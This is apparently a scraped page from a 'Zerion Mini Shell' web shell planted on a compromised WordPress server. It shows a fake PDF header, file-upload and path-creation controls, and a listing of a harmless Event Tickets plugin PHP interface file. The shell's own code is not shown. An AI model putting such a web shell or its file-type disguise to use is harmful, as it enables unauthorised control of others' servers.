%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/19851/cwd/wp-content/plugins/event-tickets/common/src/Tribe/Languages/
Upload File :
Create Path :
Current File : //proc/19851/cwd/wp-content/plugins/event-tickets/common/src/Tribe/Languages/Map_Interface.php

<?php


interface Tribe__Languages__Map_Interface {

	/**
	 * Gets all the languages supported by this language map.
	 *
	 * @return array An associative array in the format
	 *               [ <slug> => <name> ]
	 *               e.g. [ 'pt-BR' => 'Portuguese (Brazil)' ]
	 */
	public function get_supported_languages();

	/**
	 * Checks whether a language code is supported by the language map or not.
	 *
	 * @param string $language_code
	 *
	 * @return bool Whether a language code is supported by the language map or not.
	 */
	public function is_supported( $language_code );

	/**
	 * Converts a language code from the format used by WP to the one used by the language map.
	 *
	 * @param string $language_code A language code in the format used by WP; e.g. `en_US`.
	 *
	 * @return string|false The converted language code or `false` if the language code is not supported.
	 */
	public function convert_language_code( $language_code );
}

Zerion Mini Shell 1.0